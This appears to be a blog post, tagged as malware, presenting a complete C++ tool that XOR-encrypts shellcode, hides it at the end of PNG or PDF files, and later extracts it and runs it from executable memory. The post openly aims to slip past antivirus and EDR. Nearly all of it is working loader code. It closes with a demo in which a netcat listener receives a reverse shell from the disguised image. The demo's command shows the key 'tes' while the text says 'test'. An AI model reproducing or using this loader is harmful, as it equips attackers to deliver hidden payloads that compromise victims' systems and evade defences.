injector

simple tool to hide Payloads in Image Files and pdf.

Malware

Programming

Cybersecurity

Why to hide the payloads?

Hiding a shellcode in an image file or PDF file is a classic steganographic technique used to bypass EDRs. the goal to make the malicious file appear as harmless file like image, so it can be delivered to a target system without any suspicious.

also modern AV/EDR scan memory regions disk artifacts and process behaviors for known signatures. one evasion method is to hide our payload in images png,jpg.

How it work?

Read Files: The tool reads the host file (like an image or PDF) and the payload file (your shellcode) into memory.
Encrypt Payload: It encrypts the shellcode using a simple XOR cipher with your secret key. This scrambles the code to hide it from antivirus scanners.
Append and Save: It takes the original image data, appends the encrypted shellcode to the end, and then adds a final 8-byte "footer" that stores the size of the shellcode. This new combined data is saved as the output file.

How It Executes

Read Size: The tool reads the last 8 bytes of the file to know how big the hidden shellcode is.
Extract and Decrypt: It extracts the encrypted shellcode from the file and decrypts it in memory using your secret key.
Allocate and Run: It asks the OS for a new piece of memory that can be executed, copies the decrypted shellcode into it, and runs the code directly from memory.

Let's see the code

first function ReadFile it does the following:

It checks if the file exists. If not, it shows an error.
It opens the file in binary mode, which reads the file byte-for-byte exactly as it is.
It measures the file's size to know how much memory to prepare.
It creates a buffer (a temporary storage area) in memory of that exact size.
It copies all the file's data into that buffer and then returns it.

injector.cpp

vector<char> ReadFile(const string& path) {
    if (!fs::exists(path)) {
        cerr << "[-] Error: File does not exist: " << path << endl;
        return {};
    }
    ifstream file(path, ios::binary | ios::ate);
    if (!file.is_open()) {
        cerr << "[-] Error: Could not open file: " << path << endl;
        return {};
    }
    streamsize size = file.tellg();
    file.seekg(0, ios::beg);
    vector<char> buffer(size);
    if (!file.read(buffer.data(), size)) {
        cerr << "[-] Error: Failed to read file: " << path << endl;
        return {};
    }
    file.close();
    return buffer;
}

function encrypts or decrypts data using a simple but effective method called a repeating XOR cipher. The beauty of XOR is that the same operation reverses itself.

The Logic

Prepare the Output: It starts by making an exact copy of the input data. This copy will be modified and become the encrypted (or decrypted) result.
Loop Through the Data: It goes through every single byte of the data, one by one.
Apply the XOR Key: For each byte of data, it takes a corresponding byte from the key and performs a XOR operation on it.
- result[i] ^= key[i % key.size()];
Repeat the Key: What if the data is longer than the key? The % (modulo) operator handles this. It makes the key repeat.
- If your key is "ABC" and your data is "SECRET", the operation looks like this:
  - S is XORed with A
  - E is XORed with B
  - C is XORed with C

inector.cpp

vector<char> XOREncryptDecrypt(const vector<char>& data, const string& key) {
    if (key.empty()) {
        throw runtime_error("XOR key cannot be empty");
    }
    vector<char> result = data;
    for (size_t i = 0; i < data.size(); i++) {
        result[i] ^= key[i % key.size()];
    }
    return result;
}

function takes a host file (like an image), encrypts your payload, and hides it inside.

Encrypt the Payload: First, it calls the XOREncryptDecrypt function to encrypt your shellcode using the provided key. This keeps it hidden.
Append the Encrypted Payload: It takes the original file's data (buffer) and simply tacks the encrypted_shellcode onto the very end.
Append the Size: This is the clever part. How will you know where the payload ends and the image begins when you want to extract it later?
- The function takes the original size of the shellcode (e.g., 512 bytes).
- It appends this size as a tiny 8-byte number at the absolute end of the file. This number acts as a marker.
Return the New File: The function returns the final combined data: [Original File Data] + [Encrypted Payload] + [Payload Size].

injector.cpp

vector<char> InjectEncryptedPayload(const vector<char>& buffer, const vector<char>& shellcode, const string& key) {
    vector<char> result = buffer;
    vector<char> encrypted_shellcode = XOREncryptDecrypt(shellcode, key);
    result.insert(result.end(), encrypted_shellcode.begin(), encrypted_shellcode.end());

    // Append shellcode "size" as 8-byte footer
    uint64_t shellcode_size = shellcode.size();
    char* size_bytes = reinterpret_cast<char*>(&shellcode_size);
    result.insert(result.end(), size_bytes, size_bytes + sizeof(uint64_t));
    return result;
}

the most important function does the reverse of the injection: it finds the hidden payload within a file, extracts it, and decrypts it.

Read the Payload Size: It first looks at the very end of the file. It reads the last 8 bytes to get the shellcode_size that was stored there during injection. This tells the function exactly how many bytes of encrypted data to look for.
Locate the Encrypted Payload: Now that it knows the size, it can calculate where the encrypted data starts and ends. It works backward from the end of the file:
- The end is the 8-byte size marker.
- The section right before that is the encrypted payload.
Extract the Payload: It copies that specific chunk of encrypted data out of the file into a new buffer.
Decrypt and Return: Finally, it uses the XOREncryptDecrypt function with the same xor_key to decrypt the payload, restoring it to its original, executable form. This decrypted shellcode is then returned.

injector.cpp

vector<char> ExtractAndDecryptShellcode(const vector<char>& file_data, const string& xor_key) {
    // Check if file is large enough to contain at least the size footer
    if (file_data.size() < sizeof(uint64_t)) {
        throw runtime_error("File too small to contain shellcode size metadata");
    }
    // Read the shellcode size from the last 8 bytes
    size_t size_pos = file_data.size() - sizeof(uint64_t);
    uint64_t shellcode_size;
    memcpy(&shellcode_size, file_data.data() + size_pos, sizeof(uint64_t));
    // Check if file is large enough to contain the shellcode
    if (file_data.size() < shellcode_size + sizeof(uint64_t)) {
        throw runtime_error("File too small to contain the shellcode");
    }
    // Extract the encrypted shellcode
    size_t payload_start = file_data.size() - shellcode_size - sizeof(uint64_t);
    vector<char> encrypted_payload(file_data.begin() + payload_start, file_data.begin() + size_pos);
    return XOREncryptDecrypt(encrypted_payload, xor_key);
}

This function is the final step: it extracts the hidden shellcode from a file and runs it directly in memory.

Load the File: It first reads the entire file (e.g., the image with the hidden payload) into memory.
Extract and Decrypt: It calls the ExtractAndDecryptShellcode function you asked about earlier. This pulls the shellcode out of the file and decrypts it using the secret key.
Allocate Executable Memory: This is the most critical step for evasion. It asks the operating system for a new, empty chunk of memory that is marked as executable. This is done with the mmap command.
Copy the Shellcode: It copies the decrypted, ready-to-run shellcode into this special executable memory block.
Execute It: The program then treats that block of memory as a function and simply calls it. The CPU starts executing the instructions in the shellcode.
Clean Up: After the shellcode finishes running, the function releases the special memory block back to the operating system using munmap.

injector.cpp

void extractAndRunShellcode(const string& filepath, const string& xor_key) {
    vector<char> file_data = ReadFile(filepath);
    if (file_data.empty()) {
        cerr << "[-] Error: Failed to load file: " << filepath << endl;
        return;
    }

    try {
        vector<char> shellcode = ExtractAndDecryptShellcode(file_data, xor_key);
        cout << "Extracted and decrypted shellcode (" << shellcode.size() << " bytes)" << endl;
        cout << "XOR key used: " << xor_key << endl;

        // Allocate executable memory
        void* exec_mem = mmap(NULL, shellcode.size(), PROT_READ | PROT_WRITE | PROT_EXEC,
                              MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (exec_mem == MAP_FAILED) {
            perror("Failed to allocate executable memory");
            return;
        }

        // Copy shellcode to the allocated executable memory
        memcpy(exec_mem, shellcode.data(), shellcode.size());

        // Execute the shellcode
        cout << "Executing shellcode...\n";
        void (*shellcode_func)() = (void (*)())exec_mem;
        shellcode_func();

        // Deallocate the executable memory
        munmap(exec_mem, shellcode.size());

    } catch (const exception& e) {
        cerr << "Error extracting shellcode: " << e.what() << endl;
    }
}

This main function is the "brain" of your program. It reads the commands you type in the terminal and decides what to do.

Parse Command-Line Arguments: It starts by looping through all the arguments you provide when you run the program (e.g., the file paths, the -execute flag, and the -key). It stores these in variables like inputImagePath, key, etc.
Decide the Mode: It checks if you used the -execute flag.
- If YES, it knows you want to run a payload.
- If NO, it assumes you want to inject a payload into a file.
Execute Mode:
- It checks if you provided the necessary inputs (the image file and the key).
- If everything is correct, it calls the extractAndRunShellcode function to do the actual work of running the payload.
Injection Mode:
- It checks if you provided all the required inputs (input image, output file name, payload file, and key).
- It then calls the other functions in sequence:
  1. ReadFile to load the image and the shellcode.

injector.cpp

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printUsage(argv[0]);
        return 1;
    }

    bool execute = false;
    string inputImagePath, outputImagePath, shellcodePath,key;

    for (int i = 1; i < argc; ++i) {
        string arg = argv[i];
        if (arg == "-execute" && i + 1 < argc) {
            execute = true;
            inputImagePath = argv[++i];
        } else if (arg == "-key" && i + 1 < argc) {
            key = argv[++i];
            if (key.empty()) {
                cerr << "[-] Error: XOR key cannot be empty" << endl;
                printUsage(argv[0]);
                return 1;
            }
        } else if (inputImagePath.empty()) {
            inputImagePath = arg;
        } else if (!execute && outputImagePath.empty()) {
            outputImagePath = arg;
        } else if (!execute && shellcodePath.empty()) {
            shellcodePath = arg;
        } else {
            cerr << "[-] Error: Unexpected argument: " << arg << endl;
            printUsage(argv[0]);
            return 1;
        }
    }

    // Validate required parameters
    if (execute) {
        if (inputImagePath.empty() || key.empty()) {
            cerr << "[-] Error: Execution requires input file path and XOR key" << endl;
            printUsage(argv[0]);
            return 1;
        }
        extractAndRunShellcode(inputImagePath, key);
    } else {
        if (inputImagePath.empty() || outputImagePath.empty() || shellcodePath.empty() || key.empty()) {
            cerr << "[-] Error: Injection requires input image, output image, shellcode paths, and XOR key" << endl;
            printUsage(argv[0]);
            return 1;
        }

        vector<char> image = ReadFile(inputImagePath);
        if (image.empty()) {
            cerr << "[-] Error: Failed to load input image: " << inputImagePath << endl;
            return 1;
        }

        vector<char> shellcode = ReadFile(shellcodePath);
        if (shellcode.empty()) {
            cerr << "[-] Error: Failed to load shellcode: " << shellcodePath << endl;
            return 1;
        }

        cout << "\n=== File info ===" << endl;
        cout << "Input file:  " << inputImagePath << endl;
        cout << "Output file: " << outputImagePath << endl;
        cout << "Payload file: " << shellcodePath << endl;
        cout << "Image size:  " << image.size() << " bytes" << endl;
        cout << "Payload size: " << shellcode.size() << " bytes" << endl;
        cout << "XOR key: " << key << endl;

        // Encrypt and inject payload
        vector<char> newFile = InjectEncryptedPayload(image, shellcode, key);

        // Write the new file
        ofstream nFile(outputImagePath, ios::binary);
        if (!nFile.is_open()) {
            cerr << "[-] Error: Could not create or write to file: " << outputImagePath << endl;
            return 1;
        }

        nFile.write(newFile.data(), newFile.size());
        nFile.close();

        cout << "\n[+] Success: File written to " << outputImagePath << endl;
        cout << "[+] Encrypted and injected " << shellcode.size() << " bytes" << endl;
        cout << "[+] New file size: " << newFile.size() << " bytes" << endl;
        cout << "[+] Remember these parameters for execution:" << endl;
        cout << "[+]   XOR key: " << key << endl;
    }

    return 0;
}

Let's test the code

Window 1: The Attacker (Top Right)

What we did: We started a listener using nc -lnvp 4444. This command tells our computer to wait for an incoming connection on port 4444.
Result: It's just waiting patiently.

Window 2: The Injection (Left)

What we did: We used your injector tool to hide a malicious payload (shellcode.bin) inside a normal image (free-nature-images.png).
./injector <original_image> <new_image> <payload_file> -key test
Result: The tool created a new file, new.png. This file looks like a normal picture, but it secretly contains our encrypted payload. The secret key is "test".

Window 3: The Execution (Bottom Right)

What we did: We simulated a victim running the payload. We used the injector tool in its second mode to extract and run the code hidden inside new.png.
./injector -execute new.png -key tes
Result: The script found the payload, decrypted it with the key "test", and executed it in memory.

The Final Result (Back in Window 1)

The executed shellcode's job was to connect back to our attacker machine.
As soon as the payload ran in Window 3, a "Connection from 127.0.0.1" appeared in our listener window.
We now have a remote shell on the "victim" machine. We tested it by typing whoami, and it correctly responded with mohe.

is it detectable?

as we can see this is the malicious image, no EDR was able to detect it, because it is encrypted with XOR.

Published 18 days ago